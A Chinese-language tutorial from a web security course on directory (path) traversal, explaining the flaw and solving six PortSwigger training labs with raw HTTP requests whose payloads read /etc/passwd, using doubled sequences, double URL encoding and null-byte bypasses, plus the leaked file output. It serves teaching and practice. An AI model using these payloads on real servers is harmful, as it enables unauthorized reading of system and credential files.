欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:

  • 《WEB安全基础-服务器端漏洞》
  • 《WEB安全基础-客户端漏洞》
  • 《WEB安全高级-综合利用》

知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!

  • 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
  • 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。这会导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以技巧不如授之以渔。
  • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
  • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~

WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)

  • 1. 什么是目录遍历攻击
  • 2.任意读取文件
  • 3. 常见的防护绕过方法
  • 4. 漏洞实例
    • 1. 文件路径遍历,简单情况 ([File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple))
    • 2. 文件路径遍历,使用绝对路径绕过([File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass))
    • 3. 文件路径遍历,双写绕过过滤 ([File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively))
    • 4. 文件路径遍历,多重URL编码绕过过滤
    • 5. 文件路径遍历,验证路径开头([File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path))
    • 6. 文件路径遍历,空字节绕过文件扩展名验证 ([File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass))

1. 什么是目录遍历攻击

攻击者在服务器端任意访问和修改文件、数据和凭证等的一系列危险操作,最终控制整个服务器的行为,称为目录遍历攻击。

2.任意读取文件

  1. 网站中往往有读取图片的链接,程序往往通过照片的本地\远程文件路径,调用文件系统API去读取内容。

<img src="/loadImage?filename=218.png">

程序调用的实际完整路径为 /var/www/images/218.png

  1. 若网站没有路径防护或过滤,可构造如下连接,实际访问服务器上的密码本或敏感配置

https://insecure-website.com/loadImage?filename=../../../etc/passwd

…/在linux意味着上一级目录,那…/…/就是上两级目录。window …/ 或者…\均可。一般要跳转至根目录(可多次…/…/…/)再去输入感兴趣文件的绝对路径。

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

例题1

3. 常见的防护绕过方法

  1. 程序对URL中的./(./当前目录的表示方法)等符号进行转义。可尝试使用绝对路径、双写等。如/etc/passwd//etc//passwd
  2. 有些程序会对../进行过滤,可采用URL编码或URL双重编码进行绕过,如....//

例题 2、3、4

  1. 有些会对路径头有要求无法改动,此时可使用路径后增加../../../yourpath 实现绕过

例题5

  1. 有些会对文件格式做要求,比如必须已png结尾,此时可以使用阶段符号%00实现绕过

例题 6

4. 漏洞实例

1. 文件路径遍历,简单情况 (File path traversal, simple case)

读取/etc/passwd 文件内容

  • 解题思路

    1. 截取数据包,发现很多图片的数据包为
GET /image?filename=21.jpg HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
  1. 尝试构造目录遍历攻击包
GET /image?filename=../../../etc/passwd HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
HTTP/1.1 200 OK
Content-Type: image/jpeg
Connection: close
Content-Length: 1256root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

2. 文件路径遍历,使用绝对路径绕过(File path traversal, traversal sequences blocked with absolute path bypass)

读取/etc/passwd 文件内容

使用绝对路径绕过

GET /image?filename=/etc/passwd HTTP/1.1
Host: acdc1fa71e61136dc0d333ff009d0097.web-security-academy.net
Cookie: session=A0bmGM8oWsiKBIEnRVoa3Hf7ScODLbj0

3. 文件路径遍历,双写绕过过滤 (File path traversal, traversal sequences stripped non-recursively)

读取/etc/passwd 文件内容

  • 解题思路

    1. 发现常规的…/无效 尝试双写绕过....//....//etc//passwd
GET /image?filename=....//....//....//etc//passwd HTTP/1.1
Host: acd81f9d1fe83b0dc0858f0f00a20095.web-security-academy.net

4. 文件路径遍历,多重URL编码绕过过滤

  • 目标

读取/etc/passwd 文件内容

  • 解题思路

    1. 发现传统双写绕过不成功,考虑Fuzz(混淆绕过)。Burp爆破模块内置了混淆的字典

  1. 发现一个成功的,后面该下路径文件名就行
GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/1.1
Host: ac571fd31e5a12a6c03c2e64008200be.web-security-academy.net

5. 文件路径遍历,验证路径开头(File path traversal, validation of start of path)

读取/etc/passwd 文件内容

如题必须以/var/www/images开头,所以后接多个../跳转至根目录,在写出目标文件绝对路径

GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/1.1
Host: ac361f0b1ee43c97c08f438a00db004a.web-security-academy.net
Cookie: session=01EaYq2nzAPLOi9viHGOEokhPCWz2Gwg

6. 文件路径遍历,空字节绕过文件扩展名验证 (File path traversal, validation of file extension with null byte bypass)

读取/etc/passwd 文件内容

GET /image?filename=../../../../etc/passwd%00.png HTTP/1.1
Host: ac831fcc1fcb82d8c02b089100dd0098.web-security-academy.net

WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)相关推荐

  1. 小白兔快开门,我是你爸爸。WEB安全基础入门—访问控制漏洞和权限提升

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: <WEB安全基础-服务器端漏洞> <WEB安全基础-客户端漏洞> <WEB安全高级-综合利用> 知识点全面细致 ...

  2. WEB安全基础入门—身份验证漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏:! <WEB安全基础-服务器端漏洞> <WEB安全基础-客户端漏洞> <WEB安全高级-综合利用> 知识点全面细 ...

  3. 不可思议但又无处不在的漏洞,WEB安全基础入门—业务逻辑漏洞

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: <WEB安全基础-服务器端漏洞> <WEB安全基础-客户端漏洞> <WEB安全高级-综合利用> 知识点全面细致 ...

  4. web渗透-------基础入门

    基础入门 一.名词解释 1.域名 2.DNS 3.脚本语言 4.后门(网络病毒) 5.web 6.web相关安全漏洞

  5. Web网络安全基础入门总笔记

    一.网站 Web全称:World Wide Wed(全国广域网). Web应用:通过浏览器访问得各类网站就叫做Web应用. Web安全:Web应用上面出现的一些漏洞. 集成环境:将容器和数据库与脚本自 ...

  6. 尚硅谷最新版JavaWeb全套教程,java web零基础入门完整版(三)

    EL表达式 什么是EL表达式 <%@ page contentType="text/html;charset=UTF-8" language="java" ...

  7. 尚硅谷最新版JavaWeb全套教程,java web零基础入门完整版(二)

    书城项目 JavaEE三层架构介绍 搭建书城项目环境 IDEA工具Debug的使用 JSP 什么是jsp jsp页面的本质 jsp的page指令 虽然 / 在浏览器解析的时候是端口号,但是jsp本质最 ...

  8. 尚硅谷最新版JavaWeb全套教程,java web零基础入门完整版(一)

    HTML和CSS ctrl + shift + / 在同一行代码中的后半截产生注释 HTML标签的介绍 标签拥有自己的属性,分为 基本属性 和 事件属性 标签的基本属性 :bgcolor=" ...

  9. 尚硅谷最新版JavaWeb全套教程,java web零基础入门完整版(四)

    文件的上传和下载 文件上传的介绍 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns= ...

最新文章

  1. 在Mac OS X macOS Sierra上进行VirtualBox和GNS3链接
  2. mybatis使用find_in_set导致cpu占用过高
  3. C#机房重构-datagridview控件的使用
  4. go语言基础之递归函数的调用流程
  5. vi/vim 编辑器详解
  6. (pytorch-深度学习系列)pytorch中backwards()函数对梯度的操作
  7. youtube 播放列表
  8. Visual Studio 11更名为“Visual Studio 2012”,RC版(与.NET 4.5一起)开放下载
  9. cms php vue 开源_2020最受欢迎的企业网站CMS建站系统排行榜
  10. 诺基亚100G光传输网络助力Jio泛印度4G网络大幅增长
  11. 接口(Api)版本号命名规则
  12. iis 缓存 静态文件_强制更新IIS中的缓存JavaScript文件
  13. 计算机视觉实习面试经历
  14. 中小企业OA系统如何选型?OA软件选型必看技巧
  15. mysql怎么做纵表,本文实例讲述了MySQL横纵表相互转化操作实现方法。分享给大家供大家参考,具体如下:先创建一个成绩表(纵表)create table user_scor...
  16. SF中对象发出消息后在chatter上显示名字的问题
  17. mysql 监控_【MySQL】MySQL监控工具 mysql-monitor
  18. 基于机器学习的敏感信息泄露治理探索
  19. 全网营销优势在于打造营销闭环,全网营销的经典营销方式推荐
  20. Nature neuroscience:神经脆弱性作为癫痫发作区脑电图标志物

热门文章

  1. 华为服务器系统关机命令,各种服务器系统的关机
  2. 那个想毁灭人类的机器人要被量产了
  3. 机器学习:fit,transform,fit_transform区别(附代码)
  4. 如何围绕企业战略,建设BI驾驶舱?
  5. response.setHeader各种用法详解(转)
  6. A Read-Write Memory Network for Movie Story Understanding心得体会
  7. Photoshop脚本 图层的链接
  8. 苹果cmsv10自适应seo高仿草民电影网模板
  9. 大数据中心,商品详情优惠券信息
  10. ONES 2018年斩获业内十项大奖,这个产品有点儿厉害